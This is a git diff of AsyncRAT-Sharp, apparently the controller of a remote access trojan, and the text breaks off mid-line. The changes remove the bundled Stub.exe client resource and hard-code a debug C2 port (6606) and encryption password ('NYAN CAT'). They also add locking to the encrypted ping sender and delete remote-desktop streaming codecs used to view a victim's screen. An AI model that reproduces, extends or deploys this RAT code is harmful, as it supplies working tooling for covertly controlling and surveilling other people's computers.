diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index 4fc0d12..15b3b3e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -147,35 +147,12 @@ - - - - - - - - - - - - - - - - - - - - - - - FormAbout.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index ab95faa..b5b804d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -41,7 +41,7 @@ namespace AsyncRAT_Sharp { if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"))) { - File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe); + File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe); Process.Start(Application.ExecutablePath); Environment.Exit(0); } @@ -56,7 +56,7 @@ namespace AsyncRAT_Sharp Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub")); if (!File.Exists(Path.Combine(Application.StartupPath, "Stub\\Stub.exe"))) - File.WriteAllBytes(Path.Combine(Application.StartupPath, "Stub\\Stub.exe"), Properties.Resources.Stub); + MessageBox.Show("Stub Not Found"); } catch (Exception ex) { @@ -67,6 +67,11 @@ namespace AsyncRAT_Sharp private async void Form1_Load(object sender, EventArgs e) { Text = $"{Settings.Version}"; +#if DEBUG + Settings.Port = "6606"; + Settings.Password = "NYAN CAT"; + Settings.AES = new Aes256(Settings.Password); +#else using (FormPorts portsFrm = new FormPorts()) { portsFrm.ShowDialog(); @@ -74,6 +79,8 @@ namespace AsyncRAT_Sharp Settings.Password = portsFrm.textPassword.Text; Settings.AES = new Aes256(Settings.Password); } +#endif + await Methods.FadeIn(this, 5); trans = true; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs index 60cf706..b81c6b9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs @@ -254,16 +254,6 @@ namespace AsyncRAT_Sharp.Properties { } } - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] Stub { - get { - object obj = ResourceManager.GetObject("Stub", resourceCulture); - return ((byte[])(obj)); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx index ac76fbb..4023ed0 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx @@ -136,9 +136,6 @@ ..\Resources\cGeoIp.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - ..\Resources\AsyncRAT-Sharp.exe.config;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 - ..\Resources\botkiller.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -181,13 +178,13 @@ ..\Resources\msgbox.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\Stub.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\settings.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\AsyncRAT-Sharp.exe.config;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.dll b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.dll deleted file mode 100644 index aadd6de..0000000 Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.dll and /dev/null differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe deleted file mode 100644 index 4f3401c..0000000 Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe and /dev/null differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe.config b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe.config deleted file mode 100644 index e2a5a18..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe.config +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 602f0da..da0482d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -184,21 +184,24 @@ namespace AsyncRAT_Sharp.Sockets { lock (SendSync) { - try + lock (EndSendSync) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = "This is a ping!"; - byte[] buffer = Settings.AES.Encrypt(msgpack.Encode2Bytes()); - byte[] buffersize = BitConverter.GetBytes(buffer.Length); - ClientSocket.Poll(-1, SelectMode.SelectWrite); - ClientSocket.Send(buffersize, 0, buffersize.Length, SocketFlags.None); - ClientSocket.Send(buffer, 0, buffer.Length, SocketFlags.None); - } - catch - { - Disconnected(); - return; + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = "This is a ping!"; + byte[] buffer = Settings.AES.Encrypt(msgpack.Encode2Bytes()); + byte[] buffersize = BitConverter.GetBytes(buffer.Length); + ClientSocket.Poll(-1, SelectMode.SelectWrite); + ClientSocket.Send(buffersize, 0, buffersize.Length, SocketFlags.None); + ClientSocket.Send(buffer, 0, buffer.Length, SocketFlags.None); + } + catch + { + Disconnected(); + return; + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs deleted file mode 100644 index fce74ea..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs +++ /dev/null @@ -1,160 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class DirectDriverCodec - { - private Bitmap decodedBitmap; - - private byte[] EncodeBuffer; - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private JpgCompression jpgCompression; - - public DirectDriverCodec(int Quality) - { - jpgCompression = new JpgCompression(Quality); - } - - public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < Changes.Length; i++) - { - Rectangle rect = Changes[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - } - - public Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - return decodedBitmap; - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs deleted file mode 100644 index 072ff3e..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs +++ /dev/null @@ -1,68 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - /// - /// The M-JPG codec is not very efficient for networking as it is just a very simple codec - /// - public class MJPGCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override ulong CachedSize - { - get { return 0; } - internal set { } - } - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.None; } - } - - public MJPGCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (base.jpgCompression) - { - byte[] data = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(data.Length), 0, 4); - outStream.Write(data, 0, data.Length); - } - } - - public override Bitmap DecodeData(Stream inStream) - { - lock (base.jpgCompression) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - byte[] temp = new byte[4]; - inStream.Read(temp, 0, temp.Length); - int DataLength = BitConverter.ToInt32(temp, 0); - temp = new byte[DataLength]; - inStream.Read(temp, 0, temp.Length); - return (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs deleted file mode 100644 index e9dc63c..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs +++ /dev/null @@ -1,204 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class QuickCachedStreamCodec : IVideoCodec - { - private Bitmap CodeTempBitmap; - private Bitmap DecodeTempBitmap; - - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - public override ulong CachedSize - { - get; - internal set; - } - - public int MaxBuffers { get; private set; } - private SortedList EncodeCache; - private SortedList DecodeCache; - - - /// - /// Initialize a new object of QuickStreamCodec - /// - /// The image quality 0-100% - public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) - : base(ImageQuality) - { - this.MaxBuffers = MaxBuffers; - this.EncodeCache = new SortedList(); - this.DecodeCache = new SortedList(); - } - - public override int BufferCount - { - get { return 1; } - } - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } - } - - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (CodeTempBitmap != null) - { - if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - } - - if (CodeTempBitmap == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - CodeTempBitmap = bitmap; - return; - } - - BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - int Stride = Math.Abs(bmpData.Stride); - - List Blocks = new List(); - - for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) - { - if (onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); - - Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); - if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) - { - byte[] temp = new byte[Stride]; - fixed(byte* ptr = temp) - { - NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length); - } - - CRC32 hasher = new CRC32(); - int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0); - - if (EncodeCache.Count >= MaxBuffers) - EncodeCache.RemoveAt(0); - - if (EncodeCache.ContainsKey(hash)) - { - outStream.WriteByte(1); - outStream.Write(new byte[4], 0, 4); - outStream.Write(BitConverter.GetBytes(hash), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); - } - else - { - outStream.WriteByte(0); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(BitConverter.GetBytes(hash), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); - outStream.Write(temp, 0, temp.Length); - EncodeCache.Add(hash, temp); - } - Blocks.Add(ScanBlock); - } - } - - for (int i = 0; i < Blocks.Count; i++) - { - Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); - byte[] temp = base.jpgCompression.Compress(cloned); - - cloned.Dispose(); - } - - bitmap.UnlockBits(bmpData); - CodeTempBitmap.UnlockBits(CodeBmpData); - - if (onVideoStreamCoding != null) - onVideoStreamCoding(outStream, Blocks.ToArray()); - - if (CodeTempBitmap != null) - CodeTempBitmap.Dispose(); - this.CodeTempBitmap = bitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - if (DecodeTempBitmap == null) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return DecodeTempBitmap; - } - - //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); - //int Stride = Math.Abs(BmpData.Stride); - - while (inStream.Position < inStream.Length) - { - byte[] temp = new byte[11]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - bool inCache = temp[0] == 1; - int DataSize = BitConverter.ToInt32(temp, 1); - int Hash = BitConverter.ToInt32(temp, 5); - ushort Y = BitConverter.ToUInt16(temp, 9); - - temp = new byte[DataSize]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - if (inCache) - { - if (DecodeCache.ContainsKey(Hash)) - { - temp = DecodeCache[Hash]; - } - else - { - - } - } - - //copy new data to cached bitmap - Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - - using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) - { - g.DrawImage(tmpBmp, new Point(0, Y)); - } - - /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); - int Offset = Y * Stride; - NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ - //tmpBmp.UnlockBits(tmpData); - tmpBmp.Dispose(); - } - //DecodeTempBitmap.UnlockBits(BmpData); - - return DecodeTempBitmap; - } - } -} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs deleted file mode 100644 index ee8227c..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs +++ /dev/null @@ -1,179 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class QuickStreamCodec : IVideoCodec - { - private Bitmap CodeTempBitmap; - private Bitmap DecodeTempBitmap; - - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - public override ulong CachedSize - { - get; - internal set; - } - - /// - /// Initialize a new object of QuickStreamCodec - /// - /// The image quality 0-100% - public QuickStreamCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override int BufferCount - { - get { return 1; } - } - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } - } - - public override void CodeImage(Bitmap bitmap, Stream outStream) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (CodeTempBitmap != null) - { - if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - } - - if (CodeTempBitmap == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - CodeTempBitmap = bitmap; - return; - } - - BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - int Stride = Math.Abs(bmpData.Stride); - - List Blocks = new List(); - - for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) - { - if(onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); - - Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); - if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) - { - int index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y) - { - ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height); - Blocks[index] = ScanBlock; - } - else - { - Blocks.Add(ScanBlock); - } - } - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < Blocks.Count; i++) - { - Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); - byte[] temp = base.jpgCompression.Compress(cloned); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2); - outStream.Write(temp, 0, temp.Length); - cloned.Dispose(); - TotalDataLength += 6 + temp.Length; - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - bitmap.UnlockBits(bmpData); - CodeTempBitmap.UnlockBits(CodeBmpData); - - if (onVideoStreamCoding != null) - onVideoStreamCoding(outStream, Blocks.ToArray()); - - if (CodeTempBitmap != null) - CodeTempBitmap.Dispose(); - this.CodeTempBitmap = bitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - if (DecodeTempBitmap == null) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 4); - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return DecodeTempBitmap; - } - - - byte[] LenTemp = new byte[4]; - inStream.Read(LenTemp, 0, 4); - int DataLength = BitConverter.ToInt32(LenTemp, 0); - - //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); - //int Stride = Math.Abs(BmpData.Stride); - - while (DataLength > 0) - { - byte[] temp = new byte[6]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - int DataSize = BitConverter.ToInt32(temp, 0); - ushort Y = BitConverter.ToUInt16(temp, 4); - temp = new byte[DataSize]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - //copy new data to cached bitmap - Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - - using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) - { - g.DrawImage(tmpBmp, new Point(0, Y)); - } - - /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); - int Offset = Y * Stride; - NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ - //tmpBmp.UnlockBits(tmpData); - tmpBmp.Dispose(); - DataLength -= 6 + temp.Length; - } - //DecodeTempBitmap.UnlockBits(BmpData); - - return DecodeTempBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs deleted file mode 100644 index 85155be..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs +++ /dev/null @@ -1,374 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class SmallCachedStreamCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - SortedList codeCached; - SortedList decodeCached; - public override int BufferCount - { - get { return codeCached.Count; } - } - public override ulong CachedSize - { - get; - internal set; - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; } - } - - private Size CheckBlock { get; set; } - public SimpleBitmap LastFrame { get; set; } - private object ImageProcessLock = new object(); - private Bitmap decodedBitmap; - private CRC32 hasher; - public int MaxBuffers { get; private set; } - - /// - /// Initialize a new object of SmallCachedStreamCodec - /// - /// The maximum amount of buffers, higher value will decrease stream size but could decrease performance - /// The image quality 0-100% - public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) - : base(ImageQuality) - { - CheckBlock = new Size(20, 1); - codeCached = new SortedList(); - decodeCached = new SortedList(); - hasher = new CRC32(); - this.MaxBuffers = MaxBuffers; - } - - private void SetLastFrame(ref Bitmap bmp) - { - SetLastFrame(new SimpleBitmap(bmp)); - } - private void SetLastFrame(SimpleBitmap bmp) - { - lock (ImageProcessLock) - { - if (LastFrame != null && LastFrame.Locked) - LastFrame.Dispose(true); - LastFrame = bmp; - } - } - - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (ImageProcessLock) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (LastFrame == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - SetLastFrame(ref bitmap); - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - SimpleBitmap sbBmp = new SimpleBitmap(bitmap); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (!LastFrame.Locked) - LastFrame.Lock(); - - sbBmp.Lock(); - - if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) - { - sbBmp.Unlock(); - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - } - - List Blocks = new List(); - int index = 0; - - int y = 0; - int x = 0; - - Size s = new Size(bitmap.Width, CheckBlock.Height); - Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); - - int lasty = bitmap.Height - lastSize.Height; - int lastx = bitmap.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - - s = new Size(bitmap.Width, s.Height); - while (y != bitmap.Height) - { - if (y == lasty) - s = new Size(bitmap.Width, lastSize.Height); - - cBlock = new Rectangle(0, y, bitmap.Width, s.Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - //if (!SimpleBitmap.Compare(y, s.Height, 